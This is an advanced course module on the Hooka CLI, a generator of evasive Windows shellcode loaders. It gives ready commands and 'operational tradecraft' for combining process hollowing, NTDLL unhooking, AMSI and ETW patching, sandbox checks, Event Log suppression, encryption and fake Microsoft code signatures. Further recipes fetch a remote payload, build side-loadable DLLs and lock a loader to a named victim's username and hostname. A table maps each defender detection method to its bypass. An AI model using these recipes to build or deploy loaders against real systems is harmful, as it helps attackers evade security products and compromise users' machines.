Difficulty: Advanced

Module 8: CLI Generator & Full Chain

The complete Hooka CLI reference, real-world loader recipes, end-to-end execution flow, and operational tradecraft for the final module.

The Big Picture

Throughout this course you have learned each individual technique: injection methods, syscall gates, unhooking, AMSI/ETW patching, sandbox detection, encryption, and the Go library. The Hooka CLI brings them all together into a single command-line tool that generates complete, ready-to-compile loaders. This final module covers the CLI in depth, walks through real-world loader recipes, explains the end-to-end generation pipeline, and closes with operational tradecraft and a full course recap.

Installation

Bash# Clone the repository
git clone https://github.com/D3Ext/Hooka
cd Hooka

# Build (outputs to build/ directory)
make

# The hooka binary is now at build/hooka

Build Output

The make target compiles the Hooka CLI tool and places it in the build/ directory. The binary itself is a standard Go executable that runs on Linux (the primary build environment for cross-compiling Windows loaders). It uses GOOS=windows GOARCH=amd64 flags internally when generating loaders.

Input Sources

Hooka accepts shellcode from multiple input formats via the -i flag:

Input TypeExtension / PatternHow It's Handled
Raw shellcode.binRead directly as bytes — no conversion needed
PE executable.exeConverted to shellcode using PE-to-shellcode techniques (similar to Donut)
DLL.dllConverted via sRDI (ConvertDllToShellcode) to reflective shellcode
Remote URLhttp://...Fetched at build time and processed based on content type

Output Formats

FlagFormatDescription
-f exe (default)EXEStandard Windows executable — double-click or command-line execution
-f dllDLLWindows DLL with entry point — loaded via rundll32 or side-loading

Complete CLI Flag Reference

FlagLong FormDescription
-i--inputInput file path or URL (required)
-o--outputOutput file path (default: loader.exe)
-f--formatOutput format: exe or dll
--execInjection technique (SuspendedProcess, ProcessHollowing, NtCreateThreadEx, EtwpCreateEtwThread, NtQueueApcThreadEx, NoRwx)
--unhookUnhooking method: classic, full, or peruns
--amsiEnable AMSI patching
--etwEnable ETW patching
--haloUse Halo's Gate for syscall resolution
--sandboxEnable all 8 sandbox detection checks
--sleepAdd custom sleep at startup
--acgEnable Arbitrary Code Guard
--blockdllsBlock non-Microsoft DLLs
--phantomEnable Phant0m Event Log suppression
--encEncryption: aes, 3des, rc4, or xor
--sgnApply Shikata Ga Nai polymorphic encoding
--stringsCaesar cipher string obfuscation
-r--randRandomize variable and function names
--compressUPX compression on output binary
-c--certPFX certificate for code signing
-d--domainDomain for fake code signature
--procTarget process name for injection (default: notepad.exe)
--userRestrict execution to specific username
--computernameRestrict execution to specific hostname
--calcUse built-in calc.exe shellcode for testing

Building Loaders for Real Scenarios

Scenario 1: Basic Loader

Minimal Configuration

Bashhooka -i shellcode.bin -o loader.exe

Uses default settings: SuspendedProcess injection, no encryption, no evasion. Good for testing in controlled environments where no AV/EDR is present.

Scenario 2: Process Hollowing with Unhooking

Targeted Injection with EDR Bypass

Bashhooka -i sc.bin -o loader.exe \
  --exec ProcessHollowing \
  --unhook full \
  --amsi --etw

Hollows a target process (default: notepad.exe), replaces its memory with shellcode, and resumes execution. Full NTDLL unhooking removes all EDR hooks before injection. AMSI and ETW patching disable the two primary telemetry channels.

Scenario 3: Remote Fetch + DLL Output

Stageless Network-Fetched Loader

Bashhooka -i http://192.168.1.126/sc.bin -o loader.dll \
  -f dll --sandbox --enc aes

Fetches shellcode from a remote server at build time, encrypts it with AES, embeds the ciphertext into a DLL. The DLL performs sandbox detection before decrypting and injecting. Output can be loaded via rundll32 or DLL side-loading.

Scenario 4: Maximum Evasion

Every Evasion Technique Enabled

Bashhooka -i sc.bin -o loader.exe \
  --exec NtCreateThreadEx \
  --unhook peruns \
  --halo \
  --amsi --etw \
  --sandbox \
  --blockdlls \
  --phantom \
  --sleep \
  --acg \
  --enc aes \
  --sgn \
  --strings \
  -r \
  --compress \
  -d www.microsoft.com

This generates a loader with: custom sleep delay, eight sandbox checks, AMSI and ETW patching, Perun's Fart NTDLL unhooking, Halo's Gate syscall resolution, DLL blocking, ACG Guard, Event Log suppression, AES encryption with SGN encoding, Caesar cipher string obfuscation, random naming, UPX compression, and a fake Microsoft code signature.

The --calc Test Mode

Safe Testing Without Real Shellcode

Bash# Generate a loader that opens calc.exe (safe test payload)
hooka --calc -o test_loader.exe --exec NtCreateThreadEx --sandbox

The --calc flag uses a built-in shellcode payload that launches calc.exe. This allows you to test all evasion techniques, injection methods, and sandbox detection without needing actual malicious shellcode. If calc.exe opens on the target, your loader chain works correctly.

End-to-End Generation Pipeline

When you run the Hooka CLI, the following pipeline executes internally:

CLI Generation Pipeline

Parse Args
CLI flags
Read Input
.bin/.exe/.dll/URL
Convert
PE/DLL to shellcode
Encrypt
AES/3DES/RC4/XOR
Generate Go
Source code
Obfuscate
Strings/names
Compile
GOOS=windows
Post-process
SGN/UPX/Sign

Pipeline Steps in Detail

  1. Parse Arguments: The CLI parses all flags and validates the configuration (incompatible options, missing dependencies like sgn or UPX).
  2. Read Input: Shellcode is read from the specified file or fetched from a URL. For .exe and .dll inputs, conversion to shellcode format occurs.
  3. Convert: PE executables are converted via PE-to-shellcode techniques. DLLs are converted via sRDI. Raw .bin files are used directly.
  4. Encrypt: The shellcode is encrypted with the selected algorithm. A random key is generated. Both ciphertext and key are prepared for embedding.
  5. Generate Go Source: Hooka generates a complete Go source file containing: the encrypted shellcode as a byte array, the decryption key, the decryption function, all selected evasion techniques in the correct order, and the injection method.
  6. Obfuscate: If --strings is enabled, string literals are Caesar-shifted. If -r is enabled, all identifiers are randomized.
  7. Compile: The Go source is cross-compiled with GOOS=windows GOARCH=amd64 and linker flags -s -w -H=windowsgui (strip symbols, no console window).
  8. Post-Process: Optional SGN encoding, UPX compression, and code signing are applied to the compiled binary.

What the Generated Code Looks Like

The generated Go source follows a strict execution order designed for maximum evasion. Here is the startup sequence that every generated loader follows:

Generated Loader Startup Sequence

Sleep
Time delay
Sandbox
AutoCheck()
AMSI
PatchAmsi()
ETW
PatchEtw()
Unhook
Clean NTDLL
Decrypt
Shellcode
Inject
Execute payload
Go// Pseudocode of generated loader structure
func main() {
    // Phase 1: Timing evasion
    hooka.Sleep()                    // if --sleep

    // Phase 2: Environment validation
    sandbox, _ := hooka.AutoCheck()  // if --sandbox
    if sandbox { os.Exit(0) }

    // Phase 3: Defense neutralization
    hooka.PatchAmsi()                // if --amsi
    hooka.PatchEtw()                 // if --etw
    hooka.PerunsUnhook()             // if --unhook peruns

    // Phase 4: Process hardening
    hooka.EnableACG()                // if --acg
    hooka.BlockDLLs()                // if --blockdlls
    pid, _ := hooka.GetEventLogPid() // if --phantom
    hooka.Phant0m(pid)               // if --phantom

    // Phase 5: Payload preparation
    key := []byte{...}               // Embedded decryption key
    enc := []byte{...}               // Embedded encrypted shellcode
    sc := decrypt(enc, key)          // Runtime decryption

    // Phase 6: Execution
    hooka.NtCreateThreadExHalos(sc)  // Selected injection method
}

DLL Output Considerations

DLL Format (-f dll)

When generating a DLL, the loader logic executes in the DLL's entry point (DllMain) when DLL_PROCESS_ATTACH is received. This means the shellcode runs automatically when the DLL is loaded by any process.

DLL format is preferred for side-loading scenarios and when you need the loader to execute within the context of another (legitimate) process.

Code Signing Workflow

Using Real and Fake Certificates

Bash# Option 1: Sign with a real PFX certificate
hooka -i sc.bin -o loader.exe -c /path/to/cert.pfx

# Option 2: Generate a fake signature with a domain name
hooka -i sc.bin -o loader.exe -d www.microsoft.com

# Combine both: sign with real cert AND compress
hooka -i sc.bin -o loader.exe -c cert.pfx --compress

Hooka uses osslsigncode internally for signing. For fake signatures (-d), it generates a self-signed certificate with the specified Common Name, signs the binary, and embeds the certificate. The signature will appear in file properties but will not pass chain-of-trust verification.

Detection Surface Analysis

Understanding what defenders look for helps you make informed decisions about which techniques to combine.

What Defenders Detect

Detection VectorWhat They Look ForHooka's Counter
Static signaturesKnown byte patterns in the binaryEncryption + SGN encoding
String analysisAPI names, DLL names, suspicious strings--strings Caesar cipher
Symbol analysisFunction/variable names in Go binaries-r random naming + -s -w linker flags
Import tableSuspicious Win32 API importsHalo's Gate syscalls bypass import table
Entropy analysisHigh-entropy sections (encrypted data)Difficult to counter — inherent to encryption
Behavioral analysisAPI call sequences in sandbox--sandbox detection + --sleep
Memory scanningPlaintext shellcode in memory post-decryptionACG prevents post-injection scanning hooks
Event logsProcess creation, privilege escalation events--phantom Event Log suppression
EDR hooksInline hooks on NT functions--unhook NTDLL restoration
Go binary fingerprintGo runtime structures, GC metadataUPX compression alters binary structure

Operational Tradecraft

Target Process Selection

The --proc flag specifies which process to target for injection techniques that require a host process (SuspendedProcess, ProcessHollowing, QueueUserApc, CreateRemoteThread). Default is notepad.exe.

Username & Hostname Targeting

Bash# Lock execution to a specific target
hooka -i sc.bin -o loader.exe \
  --user jsmith \
  --computername CORP-WS-042 \
  --sandbox

If the loader lands on an analyst's machine or a different workstation, it exits silently without revealing any behavior. Combined with sandbox detection, this provides strong environment validation.

When to Use CLI vs Go Library

Use CaseBest ToolWhy
Quick loader for a known payloadCLISingle command, immediate output
Testing injection techniquesCLI + --calcSafe testing with calc.exe payload
Custom encryption chainsLibraryCombine multiple crypto algorithms
C2 framework integrationLibraryProgrammatic control, dynamic configuration
Conditional execution logicLibraryIf-else branches, fallback strategies
Batch loader generationCLI (scripted)Loop through flag combinations in bash
Novel injection techniquesLibraryCombine Hooka functions with custom code

Prior Art & Evolution

Hooka builds on a lineage of Go-based shellcode loaders, each advancing the state of evasion:

The Loader Family Tree

ToolAuthorKey Innovation
BokuLoaderboku7Early reflective loader with syscalls
ScareCrowOptivEDR-aware loader with DLL side-loading and code signing
FreezeOptivSuspended process injection with ETW/AMSI patching
ShhhloadericyguiderSyscall-based loader with multiple injection methods
HookaD3ExtCombined all techniques + importable Go library + CLI generator with 6 CLI injection methods (10 in library), 3 gate techniques, 3 unhooking methods, 4 encryption algorithms, and 8 sandbox checks

Hooka's key differentiator is its dual nature: a complete CLI tool and an importable Go library. Previous tools were CLI-only, requiring users to modify source code for customization. Hooka's library approach allows building entirely custom tooling while leveraging battle-tested evasion primitives.

Course Summary: All 8 Modules

What You've Learned

ModuleTopicKey Takeaway
1Introduction to Shellcode LoadersLoader lifecycle, EDR detection layers, tool landscape
2Injection Techniques8 injection methods from SuspendedProcess to NoRwx
3Syscalls & Gate TechniquesDirect syscalls, Hell's/Halo's/Tartarus' Gate, API hashing
4Unhooking & Patching3 unhooking methods, AMSI patching (2), ETW patching (2)
5Sandbox Detection & Process Protection8 sandbox checks, ACG, BlockDLLs, Phant0m, custom sleep
6Encryption & ObfuscationAES/3DES/RC4/XOR, SGN, string obfuscation, code signing
7The Hooka Go Library40+ functions, custom loader building, sRDI, API reference
8CLI Generator & Full ChainComplete CLI reference, generation pipeline, tradecraft

Final Exam: CLI Generator & Full Chain

Q1: What is the correct execution order in a generated Hooka loader?

The correct order is: Sleep (time-based evasion), Sandbox check (exit if VM), AMSI/ETW patching (disable telemetry), Unhook NTDLL (remove EDR hooks), Decrypt shellcode, then Inject. Each step must succeed before the next for maximum evasion.

Q2: What does the --calc flag do?

The --calc flag substitutes built-in shellcode that launches calc.exe (the Windows calculator) instead of requiring a real shellcode input file. This allows safe testing of all evasion and injection techniques. If calc.exe opens on the target, the entire loader chain is working correctly.

Q3: Why does Hooka cross-compile with -H=windowsgui?

The -H=windowsgui linker flag tells the Go compiler to set the PE subsystem to Windows GUI instead of Console. Without it, the loader would open a visible Command Prompt window when executed, immediately alerting the user to suspicious activity. With the flag, the loader runs silently in the background.

Q4: What is Hooka's primary differentiator compared to ScareCrow, Freeze, and Shhhloader?

While ScareCrow, Freeze, and Shhhloader are CLI-only tools, Hooka uniquely provides both a complete CLI generator AND an importable Go library. The library exposes 40+ individual functions that developers can compose into entirely custom loaders, enabling integration with C2 frameworks, custom encryption chains, and novel evasion techniques that a fixed CLI cannot support.